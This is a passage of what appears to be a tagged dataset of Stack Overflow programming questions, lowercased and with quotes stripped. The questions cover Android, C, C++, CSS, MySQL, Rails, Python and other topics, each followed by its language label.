    $routeprovider.when( /page1   { templateurl :  partials/page1 });           $routeprovider.otherwise({ redirectto :  index.html });            $locationprovider.html5mode({enabled : true  requiredbase : false});     }]); </code></pre>   //this is page1.html   <h1> this is page1</h1>   //this is page2.html    <h1>this is page2</h1>     <pre><code>  [1]: https://i.stack.imgur.com/wuleo.png </code></pre>,angularjs
display dynamic data using gridview/datalist  i need to build a form that shows data is the following format:   <pre><code>          m(1 nov)  t(4 nov)  s(7 nov) etc user 1    yes/no    yes/no    yes/no   yes/no user 2    yes/no    yes/no    yes/no   yes/no </code></pre>   the yes/no will be represented by a check box and there will be monday  thursday and sunday columns for each occurrence within the month - dynamically worked out.  i was planning on using anonymous type s as explained <a href= http://www.codeproject.com/kb/cs/anonymoustypesincsharp.aspx  rel= nofollow >here</a> to represent the data.  is this a sound approach   my problem is how to display this using a gridview or datalist control.  if the data structure is dynamic  how can i configure the gridview/datalist control to bind to the data     is there a better approach to what i m trying,asp.net
error fetching data from database though json  i m having problem regarding fetching of data from mysql through json. i ve tried a lot but couldn t catch the issue that i m facing. i m trying to display list fetched from the database and parsed through json in listview. below is the code. please help me out!    <strong>getall.java</strong>   <pre><code>package com.example.energy;  import java.util.arraylist;  import java.util.hashmap; import java.util.list;  import org.apache.http.namevaluepair; import org.json.jsonarray; import org.json.jsonexception; import org.json.jsonobject;  import android.app.listactivity; import android.app.progressdialog; import android.content.intent; import android.os.asynctask; import android.os.bundle; import android.util.log; import android.view.view; import android.widget.adapterview; import android.widget.adapterview.onitemclicklistener; import android.widget.listadapter; import android.widget.listview; import android.widget.simpleadapter; import android.widget.textview;  public class getall extends listactivity {      // progress dialog     private progressdialog pdialog;      // creating json parser object     jsonparser jparser = new jsonparser();      arraylist&lt;hashmap&lt;string  string&gt;&gt; productslist;      // url to get all products list     private static string url_all_products =  http://10.0.2.2/android/get_all_products.php ;      // json node names     private static final string tag_success =  success ;     private static final string tag_products =  products ;     private static final string tag_pid =  pid ;     private static final string tag_name =  name ;      // products jsonarray     jsonarray products = null;      @override     public void oncreate(bundle savedinstancestate) {         super.oncreate(savedinstancestate);         setcontentview(r.layout.activity_main);          // hashmap for listview         productslist = new arraylist&lt;hashmap&lt;string  string&gt;&gt;();          // loading products in background thread         new loadallproducts().execute();          // get listview         listview lv = getlistview();          // on seleting single product         // launching edit product screen         lv.setonitemclicklistener(new onitemclicklistener() {              @override             public void onitemclick(adapterview&lt; &gt; parent  view view                      int position  long id) {                 // getting values from selected listitem                 string pid = ((textview) view.findviewbyid(r.id.pid)).gettext()                         .tostring();                  // starting new intent                 intent in = new intent(getapplicationcontext()                          mainactivity.class);                 // sending pid to next activity                 in.putextra(tag_pid  pid);                  // starting new activity and expecting some response back                 startactivityforresult(in  100);             }         });      }      // response from edit product activity     @override     protected void onactivityresult(int requestcode  int resultcode  intent data) {         super.onactivityresult(requestcode  resultcode  data);         // if result code 100         if (resultcode == 100) {             // if result code 100 is received             // means user edited/deleted product             // reload this screen again             intent intent = getintent();             finish();             startactivity(intent);         }      }      /**      * background async task to load all product by making http request      * */     class loadallproducts extends asynctask&lt;string  string  string&gt; {          /**          * before starting background thread show progress dialog          * */         @override         protected void onpreexecute() {             super.onpreexecute();             pdialog = new progressdialog(getall.this);             pdialog.setmessage( loading products. please wait... );             pdialog.setindeterminate(false);             pdialog.setcancelable(false);             pdialog.show();         }          /**          * getting all products from url          * */         protected string doinbackground(string... args) {             // building parameters             list&lt;namevaluepair&gt; params = new arraylist&lt;namevaluepair&gt;();             // getting json string from url             jsonobject json = jparser.makehttprequest(url_all_products   get   params);              // check your log cat for json reponse             log.d( all products:    json.tostring());              try {                 // checking for success tag                 int success = json.getint(tag_success);                  if (success == 1) {                     // products found                     // getting array of products                     products = json.getjsonarray(tag_products);                      // looping through all products                     for (int i = 0; i &lt; products.length(); i++) {                         jsonobject c = products.getjsonobject(i);                          // storing each json item in variable                         string id = c.getstring(tag_pid);                         string name = c.getstring(tag_name);                          // creating new hashmap                         hashmap&lt;string  string&gt; map = new hashmap&lt;string  string&gt;();                          // adding each child node to hashmap key =&gt; value                         map.put(tag_pid  id);                         map.put(tag_name  name);                          // adding hashlist to arraylist                         productslist.add(map);                     }                 } else {                     // no products found                     // launch add new product activity                     intent i = new intent(getapplicationcontext()                              mainactivity.class);                     // closing all previous activities                     i.addflags(intent.flag_activity_clear_top);                     startactivity(i);                 }             } catch (jsonexception e) {                 e.printstacktrace();             }              return null;         }          /**          * after completing background task dismiss the progress dialog          * **/         protected void onpostexecute(string file_url) {             // dismiss the dialog after getting all products             pdialog.dismiss();             // updating ui from background thread             runonuithread(new runnable() {                 public void run() {                     /**                      * updating parsed json data into listview                      * */                     listadapter adapter = new simpleadapter(                             getall.this  productslist                              r.layout.listitem  new string[] { tag_pid                                      tag_name}                              new int[] { r.id.pid  r.id.name });                     // updating listview                     setlistadapter(adapter);                 }             });          }      } } </code></pre>   <strong>jsonparser.java</strong>   <pre><code>package com.example.energy;  import java.io.bufferedreader; import java.io.ioexception; import java.io.inputstream; import java.io.inputstreamreader; import java.io.unsupportedencodingexception; import java.util.list;  import org.apache.http.httpentity; import org.apache.http.httpresponse; import org.apache.http.namevaluepair; import org.apache.http.client.clientprotocolexception; import org.apache.http.client.entity.urlencodedformentity; import org.apache.http.client.methods.httpget; import org.apache.http.client.methods.httppost; import org.apache.http.client.utils.urlencodedutils; import org.apache.http.impl.client.defaulthttpclient; import org.json.jsonexception; import org.json.jsonobject;  import android.util.log;  public class jsonparser {      static inputstream is = null;     static jsonobject jobj = null;     static string json =   ;      // constructor     public jsonparser() {      }      // function get json from url     // by making http post or get mehtod     public jsonobject makehttprequest(string url  string method              list&lt;namevaluepair&gt; params) {          // making http request         try {              // check for request method             if(method ==  post ){                 // request method is post                 // defaulthttpclient                 defaulthttpclient httpclient = new defaulthttpclient();                 httppost httppost = new httppost(url);                 httppost.setentity(new urlencodedformentity(params));                  httpresponse httpresponse = httpclient.execute(httppost);                 httpentity httpentity = httpresponse.getentity();                 is = httpentity.getcontent();              }else if(method ==  get ){                 // request method is get                 defaulthttpclient httpclient = new defaulthttpclient();                 string paramstring = urlencodedutils.format(params   utf-8 );                 url +=     + paramstring;                 httpget httpget = new httpget(url);                  httpresponse httpresponse = httpclient.execute(httpget);                 httpentity httpentity = httpresponse.getentity();                 is = httpentity.getcontent();             }                     } catch (unsupportedencodingexception e) {             e.printstacktrace();         } catch (clientprotocolexception e) {             e.printstacktrace();         } catch (ioexception e) {             e.printstacktrace();         }          try {             bufferedreader reader = new bufferedreader(new inputstreamreader(                     is   iso-8859-1 )  8);             stringbuilder sb = new stringbuilder();             string line = null;             while ((line = reader.readline()) != null) {                 sb.append(line +  \n );             }             is.close();             json = sb.tostring();         } catch (exception e) {             log.e( buffer error    error converting result   + e.tostring());         }          // try parse the string to a json object         try {             jobj = new jsonobject(json);         } catch (jsonexception e) {             log.e( json parser    error parsing data   + e.tostring());         }          // return json string         return jobj;      } } </code></pre>   <strong>get_all_products.php</strong>   <pre><code>&lt; php  $response=array();  require_once( /db_connect.php );  $db= new db_connect();  $db-&gt;construct(); $db-&gt;connect();  $result=mysql_query( select * from files ) or die (mysql_error());  if(mysql_num_rows($result)&gt;0) {     $response[ products ]=array();      while($row=mysql_fetch_array($result))     {         $product = array();         $product[ pid ] = $row[ id ];         $product[ name ] = $row[ name ];        // $product[ price ] = $row[ price ];       //  $product[ created_at ] = $row[ created_at ];       //  $product[ updated_at ] = $row[ updated_at ];          array_push($response[ products ]  $product);     }      $response[ success ] = 1;      // echoing json response     echo json_encode($response); } else {     // no products found     $response[ success ] = 0;     $response[ message ] =  no products found ;      // echo no users json     echo json_encode($response); }     &gt; </code></pre>   <strong>error displaying on stack trace</strong>   <pre><code>03-11 06:59:32.493: e/androidruntime(1488): fatal exception: asynctask #1 03-11 06:59:32.493: e/androidruntime(1488): process: com.example.energy  pid: 1488 03-11 06:59:32.493: e/androidruntime(1488): java.lang.runtimeexception: an error occured while executing doinbackground() 03-11 06:59:32.493: e/androidruntime(1488):     at android.os.asynctask$3.done(asynctask.java:300) 03-11 06:59:32.493: e/androidruntime(1488):     at java.util.concurrent.futuretask.finishcompletion(futuretask.java:355) 03-11 06:59:32.493: e/androidruntime(1488):     at java.util.concurrent.futuretask.setexception(futuretask.java:222) 03-11 06:59:32.493: e/androidruntime(1488):     at java.util.concurrent.futuretask.run(futuretask.java:242) 03-11 06:59:32.493: e/androidruntime(1488):     at android.os.asynctask$serialexecutor$1.run(asynctask.java:231) 03-11 06:59:32.493: e/androidruntime(1488):     at java.util.concurrent.threadpoolexecutor.runworker(threadpoolexecutor.java:1112) 03-11 06:59:32.493: e/androidruntime(1488):     at java.util.concurrent.threadpoolexecutor$worker.run(threadpoolexecutor.java:587) 03-11 06:59:32.493: e/androidruntime(1488):     at java.lang.thread.run(thread.java:841) 03-11 06:59:32.493: e/androidruntime(1488): caused by: java.lang.nullpointerexception 03-11 06:59:32.493: e/androidruntime(1488):     at com.example.energy.getall$loadallproducts.doinbackground(getall.java:131) 03-11 06:59:32.493: e/androidruntime(1488):     at com.example.energy.getall$loadallproducts.doinbackground(getall.java:1) 03-11 06:59:32.493: e/androidruntime(1488):     at android.os.asynctask$2.call(asynctask.java:288) 03-11 06:59:32.493: e/androidruntime(1488):     at java.util.concurrent.futuretask.run(futuretask.java:237) 03-11 06:59:32.493: e/androidruntime(1488):     ... 4 more 03-11 06:59:33.803: i/choreographer(1488): skipped 61 frames!  the application may be doing too much work on its main thread. 03-11 06:59:34.703: i/choreographer(1488): skipped 56 frames!  the application may be doing too much work on its main thread. 03-11 06:59:35.983: i/choreographer(1488): skipped 138 frames!  the application may be doing too much work on its main thread. 03-11 06:59:38.313: i/choreographer(1488): skipped 240 frames!  the application may be doing too much work on its main thread. 03-11 06:59:38.783: i/choreographer(1488): skipped 33 frames!  the application may be doing too much work on its main thread. 03-11 06:59:40.323: e/windowmanager(1488): android.view.windowleaked: activity com.example.energy.getall has leaked window com.android.internal.policy.impl.phonewindow$decorview{b1d86d70 v.e..... r.....id 0 0-684 192} that was originally added here 03-11 06:59:40.323: e/windowmanager(1488):  at android.view.viewrootimpl.&lt;init&gt;(viewrootimpl.java:346) 03-11 06:59:40.323: e/windowmanager(1488):  at android.view.windowmanagerglobal.addview(windowmanagerglobal.java:248) 03-11 06:59:40.323: e/windowmanager(1488):  at android.view.windowmanagerimpl.addview(windowmanagerimpl.java:69) 03-11 06:59:40.323: e/windowmanager(1488):  at android.app.dialog.show(dialog.java:286) 03-11 06:59:40.323: e/windowmanager(1488):  at com.example.energy.getall$loadallproducts.onpreexecute(getall.java:118) 03-11 06:59:40.323: e/windowmanager(1488):  at android.os.asynctask.executeonexecutor(asynctask.java:587) 03-11 06:59:40.323: e/windowmanager(1488):  at android.os.asynctask.execute(asynctask.java:535) 03-11 06:59:40.323: e/windowmanager(1488):  at com.example.energy.getall.oncreate(getall.java:58) 03-11 06:59:40.323: e/windowmanager(1488):  at android.app.activity.performcreate(activity.java:5231) 03-11 06:59:40.323: e/windowmanager(1488):  at android.app.instrumentation.callactivityoncreate(instrumentation.java:1087) 03-11 06:59:40.323: e/windowmanager(1488):  at android.app.activitythread.performlaunchactivity(activitythread.java:2148) 03-11 06:59:40.323: e/windowmanager(1488):  at android.app.activitythread.handlelaunchactivity(activitythread.java:2233) 03-11 06:59:40.323: e/windowmanager(1488):  at android.app.activitythread.access$800(activitythread.java:135) 03-11 06:59:40.323: e/windowmanager(1488):  at android.app.activitythread$h.handlemessage(activitythread.java:1196) 03-11 06:59:40.323: e/windowmanager(1488):  at android.os.handler.dispatchmessage(handler.java:102) 03-11 06:59:40.323: e/windowmanager(1488):  at android.os.looper.loop(looper.java:136) 03-11 06:59:40.323: e/windowmanager(1488):  at android.app.activitythread.main(activitythread.java:5001) 03-11 06:59:40.323: e/windowmanager(1488):  at java.lang.reflect.method.invokenative(native method) 03-11 06:59:40.323: e/windowmanager(1488):  at java.lang.reflect.method.invoke(method.java:515) 03-11 06:59:40.323: e/windowmanager(1488):  at com.android.internal.os.zygoteinit$methodandargscaller.run(zygoteinit.java:785) 03-11 06:59:40.323: e/windowmanager(1488):  at com.android.internal.os.zygoteinit.main(zygoteinit.java:601) 03-11 06:59:40.323: e/windowmanager(1488):  at dalvik.system.nativestart.main(native method) 03-11 06:59:40.333: i/choreographer(1488): skipped 50 frames!  the application may be doing too much work on its main thread. 03-11 07:04:14.003: i/process(1488): sending signal. pid: 1488 sig: 9 </code></pre>,android
how to convert from byte array to word array in c  using c  i have defined a byte and word as follows:   <pre><code>typedef unsigned char byte; typedef union {     byte b[4];     unsigned long w; } word; </code></pre>   this allows me to easy go from words to bytes  but i m not sure of a good way to go the other way. is it possible to do something like cast from byte* to word* or do i have to stick with iteratively copying bytes to words,c
css transition with multiple transform changes   i have a picture that i want to scale to 150% and also move 30px down  with a transition. only the scale seems to work  any help    <pre><code>img {     transition: transform 250ms; }  img:hover {     transform: scale(1.5);     transform: translatey(30px); } </code></pre>,css
how to see if a record with doesn t already exist  i have a <code>friendship</code> model which allows users to become friends with one another. the records for these <code>frienships</code> has a <code>requesting_user_id</code> and an <code>accepting_user_id</code>. i want to build a method that checks to see that a record with the same accepting_user and requesting_user pair doesn t already exist. in short  that a one user has already befriended another user.    i started this in my <code>user</code> model:   <pre><code>def can_befriend (accepting_user)   @accepting_user = friendship.find_by_accepting_user_id(accepting_user)   @requesting_user = current_user end </code></pre>   but i m not sure how to check that the pair doesn t already exist. any help,ruby-on-rails
java class accepting different objects on same argument in one constructor  this is my old code and i decided to refactor it in order to make refuse easier  but now i wonder if it can be done even simpler.   <pre><code>public class accountconstraint {     private range&lt;integer&gt; accountid;     private string username;     private string password;     private string email;      public accountconstraint(object accountid  final string username  final string password  final string email) {         if (accountid instanceof integer) {             accountid = new range&lt;&gt;(accountid);         }         this.accountid = (range&lt;integer&gt;)accountid;         this.username = username;         this.password = password;         this.email = email;     } } </code></pre>  <hr>  <pre><code>public class range&lt;t&gt; {     private t min;     private t max;      public range(t min  t max) {         this.min = min;         this.max = max;     }      public range(t value) {         this.min = value;         this.max = value;     }      public t getmin() {         return min;     }      public t getmax() {         return max;     }      @override     public string tostring() {         return  [  + min +      + max +  ] ;     } } </code></pre>   with this you can create an accountconstraint that has as accountid either an <code>integer</code> or a <code>range&lt;integer&gt;</code> and ensures that it is always saved as a <code>range&lt;integer&gt;</code>.    background information here is that you should be able to just enter an integer like <code>5</code> and that it will be automatically stored as <code>range(5) = range(5  5)</code> then.    the code works fine  but it seems a bit messy. so i came up with the following improvement:    new constructor:   <pre><code>public accountconstraint(object accountid  final string username  final string password  final string email) {     this.accountid = range.&lt;integer&gt;getrange(accountid  integer.class);     this.username = username;     this.password = password;     this.email = email; } </code></pre>   new method:   <pre><code>public static &lt;t&gt; range&lt;t&gt; getrange(object object  class&lt;  extends t&gt; clazz) {     if (clazz.isinstance(object)) {         object = new range&lt;&gt;((t)object);     }     return (range&lt;t&gt;)object; } </code></pre>   it also works and it seems better in my opinion as it can be done as a one-liner now  but can it even be done better  more specifically  can the <code>class&lt;  exends t&gt;</code> be left out     and a small question: should it be <code>class&lt;t&gt; clazz</code> or <code>class  extends t&gt; clazz</code>     regards.    <strong>edit: implemented the builder pattern as suggested  because there is a possibility that there will be more arguments that can be overloaded. new code:</strong>   <pre><code>package dao.constraint;  public class accountconstraint {     private range&lt;integer&gt; accountid;     private string username;     private string password;     private string email;      private accountconstraint(builder builder) {         this.accountid = builder.accountid;         this.username = builder.username;         this.password = builder.password;         this.email = builder.email;     }      public range&lt;integer&gt; getaccountid() {         return accountid;     }      public string getusername() {         return username;     }      public string getpassword() {         return password;     }      public string getemail() {         return email;     }      public static class builder {         private range&lt;integer&gt; accountid;         private string username;         private string password;         private string email;          public builder() {             this.accountid = null;             this.username = null;             this.password = null;             this.email = null;         }          public builder accountid(final int accountid) {             this.accountid = new range&lt;&gt;(accountid);             return this;         }          public builder accountid(final range&lt;integer&gt; accountid) {             this.accountid = accountid;             return this;         }          public builder username(final string username) {             this.username = username;             return this;         }          public builder password(final string password) {             this.password = password;             return this;         }          public builder email(final string email) {             this.email = email;             return this;         }          public accountconstraint build() {             return new accountconstraint(this);         }     } } </code></pre>   an extra nice feature now is that the fields that are not-mandatory do not need to be filled in anymore as the default value is <code>null</code> for them anyways.,java
fileinfo displaying a peculiar date  why does the following display 12/31/1600       <pre><code>imports system.io  module module1  sub main()     dim fi as new fileinfo( docfiles\phillips_phone_number.txt )     console.writeline(fi.fullname)     console.writeline(fi.lastaccesstime.toshortdatestring)     console.readkey() end sub </code></pre>   end module,.net
c programming  number reverse   i have a small simple school project for c programming. i am supposed to write a number and get the reverse of it and i couldn t understand how this code works. so  i need someone to explain to me what happens in the while loop  and why we use these operations  and whats %10     thanks!   <pre><code>/* reverse number using while loop */  #include&lt;stdio.h&gt; int main() {     int num  reverse=0;     scanf( %d  &amp;num);     while(num &gt; 0)     {         reverse= reverse*10;         reverse = reverse + (num%10);         num = num/10;     }     printf( %d  reverse);     return 0; } </code></pre>,c
simulating c++ s >> operator in c  is there a simple way to use <code>fscanf</code> or <code>fgets</code> in c to simulate this behaviour:    suppose i have a file which is structured like this:    integer \t string \t double    integer \s string \s double    is there a way i can apply fscanf in this situation to input it in a <code>struct</code>     i have tried using multiple regular expressions in my fscanf and i have failed to accomplish what i need to do.    i would want the struct to look like this:   <pre><code>struct foo {     int first;     char * second;     double third; }; </code></pre>   and then <code>fscanf</code> in those 3 elements.,c
coding in objective-c 2.0 screencasts   has anyone used the pragmatic programmers screencast series <a href= http://pragprog.com/screencasts/v-bdobjc/coding-in-objective-c-2-0  rel= nofollow noreferrer >coding in objective-c 2.0</a>     they look good  but i don t know if i could get just as much value out of a text book or other web links.,objective-c
memcpy command in c <pre><code>#include&lt;stdio.h&gt; #include&lt;string.h&gt; int main() {   unsigned char *s;   unsigned char a[30]= hello world welcome ;   memcpy(s &amp;a 15);   printf( %s  s);   return 0; } </code></pre>   this is giving me a segmentation fault. please help me fix this error,c
how to read a huge string (10000 chars) via cin in c++   i m doing <a href= https://www.hackerrank.com/challenges/morgan-and-a-string  rel= nofollow noreferrer >this</a> problem on hackerrank. the solution works as intended  but the test cases that they are giving include strings with more than 10k characters  and all of those aren t being read properly using getline() or cin. what should i do     my bad  first time posting here. only the first 4094 characters are being read.    i m taking my input like this    <pre><code>for(int i=0; i&lt;n; i++){     getline(cin  stra[i]);     getline(cin  strb[i]); } </code></pre>   full code: <a href= http://codepad.org/yzr1cmvk  rel= nofollow noreferrer >http://codepad.org/yzr1cmvk</a>,c++
add links to each tags in rails  in my project there is a list of posts and each post is associated with multiple tags(many to many association between tags and posts).in post show page list of tags will be displayed.how do i create a link to each tag which links to the posts associated with that tags     <strong>posts/show.html.erb</strong>    <pre><code>&lt;div class= container &gt;   &lt;p id= notice &gt;&lt;%= notice %&gt;&lt;/p&gt;   &lt;strong&gt;author:&lt;/strong&gt;   &lt;%= @post.user.username %&gt;   &lt;p&gt;     &lt;strong&gt;content:&lt;/strong&gt;     &lt;%= @post.content %&gt;   &lt;/p&gt;   &lt;p&gt;     &lt;% if @post.tags.present  %&gt;         &lt;strong&gt;tags:&lt;/strong&gt;         &lt;%= @post.tags.map{|t| link_to t.tag_name  **   }.join(    ).html_safe %&gt;         &lt;% end %&gt;&lt;/p&gt; </code></pre>   there is a join table where i can access that  how can i direct the links to the posts associated with that tag .,ruby-on-rails
how to use like a check only 6 mark   i have a database table products  which contains a column called store_id  and in it:   <pre><code>11001100 11111111 11000000 11111011 </code></pre>   6 for example  if the character is equal to 1 is in the store is the product.    how to use like a check only 6 mark,mysql
explict converversion of smart pointer to raw pointer of pointee type.  sorry  if it a very basic question  i am trying to run the following program  and i am getting the segmentation fault.     <strong>what i understand </strong>    there is a function proc(t)  in which t is conerted to t* by means of operator t <em>.  hence while executing the proc(t) function  we will have a pointer type to t</em>  and which is legal to invoke display () function.      what i want      1) where am i committing the mistake .    2) is my understanding is correct    <pre><code>#include &lt;iostream&gt;  using namespace std;  template &lt;typename t&gt; class sptr {     private:        t * __pointee;      public:          operator t * () {                 cout &lt;&lt; inside t* ()  &lt;&lt;endl;         };     explicit sptr ( t * t )     {        __pointee = t;     };     t * operator-&gt;() {         return __pointee;      } };  class jtest {  private:         int x;  public:    jtest ( int l=100) { x=l; };     void display (); };  void jtest::display() {   cout &lt;&lt; display api x is  &lt;&lt;x&lt;&lt;endl; }  void proc (jtest * tmp) {   cout &lt;&lt;  proc &lt;&lt;endl;   tmp-&gt;display ();   cout &lt;&lt; invoking jtest -&gt; display  &lt;&lt;endl; }   int main ( int argc  char ** argv) {  sptr &lt;jtest&gt; t(new jtest);  t-&gt;display();  proc(t);   // invokes operator t*().  } </code></pre>,c++
how can i get second max id in mysql   how can i get second max id in mysql     see my codes and picture bellow:    <img src= https://i.stack.imgur.com/zqxao.png  alt= enter image description here >   <pre><code>set foreign_key_checks=0;  -- ---------------------------- -- table structure for `a` -- ---------------------------- drop table if exists `a`; create table `a` (   `id` int(11) not null auto_increment    `name` varchar(30) default null    primary key  (`id`) ) engine=myisam auto_increment=8 default charset=utf8;  -- ---------------------------- -- records of a -- ---------------------------- insert into `a` values ( 1    jimy ); insert into `a` values ( 7    khon ); insert into `a` values ( 3    tina ); insert into `a` values ( 4    kelvin ); insert into `a` values ( 5    ricky ); </code></pre>,mysql
can i download only .net command prompt   i am learning c#. i use sharpdevelop ide to develop applications. i don t want to install visual c# because i have limited free space on my hard drive. but now i require command prompt .net to develop dll-files and compile c# files. can i download only command prompt  if so  where can i download it,c#
why is ng-show not showing or hiding my element based on the expression   i have:   <pre><code>&lt;span class= inlineblock fa fa-question-circle        ng-show= !(validateemail(ahs.forms.modal.modaluseremail)== ok )        title= {{ validateemail(ahs.forms.modal.modaluseremail) }} &gt;{{ validateemail(ahs.forms.modal.modaluseremail) }}&lt;/span&gt; </code></pre>   the value of validateemail is set with the following:   <pre><code>    $scope.validateemail = function (error) {         if (error.$error) {             if (error.$error.required) return  required ;             if (error.$error.email) return  email invalid ;         }          return  ok ;     } </code></pre>   but even when it returns ok then the show is still showing the fa-question-circle icon with the word ok next to it. note that i have tried several different combinations of parenthesis and i always see either the words required  email invalid or ok.  i never see the word not showing.,angularjs
when do we need to register a .net dll and a com dll   i am not clear about when do we need to register dlls  i guess we register .net dll if it needs to be accessed from a com dll and we register com dll if it needs to be accessed from a .net dll. is this correct  please correct me if i am wrong. thanks in advance for any clarifications.,.net
importerror: no module named pygame   i can import pygame through the command line  and through all my other prorams  but it brings up an error in my crosshairs program:    traceback (most recent call last):   file  c:\users\family\desktop\pys\crosshairs(2).py   line 1  in      import pygame importerror: no module named  pygame     i have no idea what the heck it s talking about  but i m thinking this could be windows vista being a crap hole(vista is verry glitchy) but i m not too sure. does anyone know what the problem is  if you need it  here is the code:   <pre><code>import pygame import math import sys  white    = (255  255  255) black    = (  0    0    0) red = (255  0  0) bgcolor = white windowwidth = 640 windowheight = 480  class control(object):     def __init__(self):         self.bullet_holes = []         self.screen = pg.display.set_mode((windowwidth windowheight))         self.done = false         self.clock = pg.time.clock()      def update(self):         vis = false         pygame.mouse.get_visible(vis)         self.mousex self.mousey = pg.mouse.get_pos()         self.screen.fill(bgcolor)         pygame.draw.circle(self.screen  red  (320 240) 50 10)         pygame.draw.circle(self.screen  white  (320 240) 40 10)         pygame.draw.circle(self.screen  red  (320 240) 30 10)         pygame.draw.circle(self.screen  white  (320 240) 20 10)         pygame.draw.circle(self.screen  red  (320 240) 10 10)         pygame.draw.line(self.screen  black  (self.mousex - 2000  self.mousey)                                                (self.mousex + 2000  self.mousey))         pygame.draw.line(self.screen  black  (self.mousex  self.mousey - 2000)                                               (self.mousex  self.mousey + 2000))         for bullet_pos in self.bullet_holes:             pygame.draw.circle(self.screen black bullet_pos 5)      def event_loop(self):         for event in pg.event.get():             if event.type ==  pg.quit or (event.type == pg.keyup and                                           event.key==pg.k_escape):                 self.done = true             elif event.type == pg.mousebuttondown and event.button == 1:                 self.bullet_holes.append(event.pos)                 pygame.image.save(self.screen  highscores.png )      def main_loop(self):         while not self.done:             self.update()             self.event_loop()             pygame.display.flip()             self.clock.tick(60)   if __name__ ==  __main__ :     game = control()     game.main_loop()     pygame.quit()     sys.exit() </code></pre>,python
writing complex query for active record <pre><code>@conversations = message.find_by_sql( select correspondent  max(updated_at) as date from (select sender_id as correspondent updated_at from messages where recipient_id = #{current_user.id} union all select recipient_id as correspondent  updated_at from messages where sender_id = #{current_user.id}) x group by correspondent order by date desc ) </code></pre>   i have this query  which is little bit complex for me as a beginner. i have been trying to write this query according to active record but i couldn t.    i have this query but this isn t correct.   <pre><code>@conversations = message.where( recipient_id =     current_user.id).select( sender_id as correspondent ) + message.where( sender_id =     current_user.id).select( recipient_id as correspondent ) </code></pre>   how can i write it,ruby-on-rails
how the server identifies the viewstate for the button control is change  hi whether the submit button click event information is stored in _viewstate property(in page source) or not. if yes  how the server identifies the button is clicked from the viewstate and perform the corresponding event handler.,asp.net
uiprogressview status based on text entered on uitextfield  i would like to progress a <code>uiprogressview</code> status based on the text entered in a <code>uitextfield</code>.    if i entered 3 letters  it should be <code>25%</code>  and if 5 letters it should be <code>50%</code> and so on,ios
how to parse and take only this string value  i wanted to get only array string value app. as example(slgoogleauth  halftunes thebackgrounder calculiator) . but don t know how to do  it s a code.   <pre><code>    @implementation viewcontroller - (void)viewdidload {     [super viewdidload];     // do any additional setup after loading the view  typically from a nib. //         class lsapplicationworkspace_class = objc_getclass( lsapplicationworkspace );     sel selector=nsselectorfromstring(@ defaultworkspace );     nsobject* workspace = [lsapplicationworkspace_class performselector:selector];      sel selectorall = nsselectorfromstring(@ allapplications );     nslog(@ apps: %@   [workspace performselector:selectorall]); } </code></pre>   it s output:    <a href= https://i.stack.imgur.com/ebkjv.png  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/ebkjv.png  alt= enter image description here ></a>    thanks in advance,objective-c
css code working differently in ie and chrome  my code is   <pre class= lang-css prettyprint-override ><code>.mstrmojo-docselector td {     height: .24in;     border-bottom-color: rgb(214  214  214);     border-bottom-style: solid;     border-right-style: solid;     border-right-color: rgb(214  214  214);     border-right-width: 0.111111em;     border-bottom-width: 0.111111em } </code></pre>   this is working fine in chrome but in ie the height is not working. any help will be appreciated.,css
enter value to stack 2 dimensional in c  i have this code   <pre><code>#include&lt;stdio.h&gt; #include&lt;conio.h&gt; #define maxcol 3 #define maxrow 3  typedef struct {     int arr[maxcol][maxrow]; }game;  void creategame(game *g){     int i  j;      for(i=0; i&lt;=maxcol; i++){         for(j=0; j&lt;=maxrow; j++){             (*g).arr[i][j] = 0;         }     } } </code></pre>   but when i compile it  the output looks like this   <pre><code>[0][0][0][0] [0][0][0][0] [0][0][0][-1] [-1][1][0][0] </code></pre>   how is that possible  where is -1  -1  and 1 come from,c
is function dereferencing possible in javascript  given:   <pre><code>function a() {    return 1; }   a()++; </code></pre>   i get an error  is this just not going to be possible in js     <img src= https://i.stack.imgur.com/i1jqn.png  alt= enter image description here >    what i want is to get the value 2.,javascript
retain previous page field values on browser back button click  my web application has two web pages page 1 and page2. i have a continue button in page 1 to navigate to page2. i enter or select some information in page1 which has textbox  dropdownlist and other controls. and i click on continue button to go to page2. but when i click on browser back button to go to previous page page1 i am loosing all the vlaues in page1. my question is how can i retain the values or information without loosing it. thank you in advance.,asp.net
in practice  would a custom double class be much slower than the built-in double   so suppose i do something like   <pre><code>class double {   double m_double; public:   double() { }   double(double d) : m_double(d) { }   operator double() const { return m_double; }   operator double&amp;() { return m_double; } }; </code></pre>   maybe i later want to extend this to make nan a bit more friendly (by adding a bool say)  etc.    my question is  do you think off the top of your head that this double (and possible extensions on it) would be  measurably  slower than using the built-in double directly     if you have some experience in working with large data sets  with vectors  copying/moving around vectors of such data  etc. - i hope you can give me some concrete insights/pointers/tips regarding this topic based on your experience.,c++
how to save the data when orientation is changed   i am using two different layouts for landscape and portrait mode. in landscape mode  i used scroll view.    i searched and found this solution   <pre><code>         android:configchanges= orientation|screensize|keyboardhidden    </code></pre>   but using this my scroll view is not working. how to retain data if the data is in spinners.,android
what is the double inequality (>>) sign in python  <blockquote>    <strong>possible duplicate:</strong><br>   <a href= https://stackoverflow.com/questions/3411749/python-operator >python - &#39;&gt;&gt;&#39; operator</a>    </blockquote>     there s some code that does this:   <pre><code>x = n - 1 &gt;&gt; 1 </code></pre>   i don t know if i have to provide more syntax  but what does the >> mean   i ve been searching all over  but can t find any explanation.,python
in android  what is the best way to define small tweaks to my style.xml or dimens.xml   in android  we can specify resources depending on the screen size by appending qualifiers to the folder names  such as  res/values-xlarge .  i am working on a large enterprise application that has some fairly big styles.xml and dimens.xml files.  obviously  i do not want to duplicate the entire files for each screen size that needs some small tweaks.    what is the best way to specify tweaks to styles  dimens  and similar resources without duplicating the common parts,android
how to cut string before and after comma php <pre><code>$myvalue =  1111 5555 ; </code></pre>   i want result this.    <pre><code>$value_1 =  1111 ; $value_2 =  5555 ; </code></pre>   please help me.,php
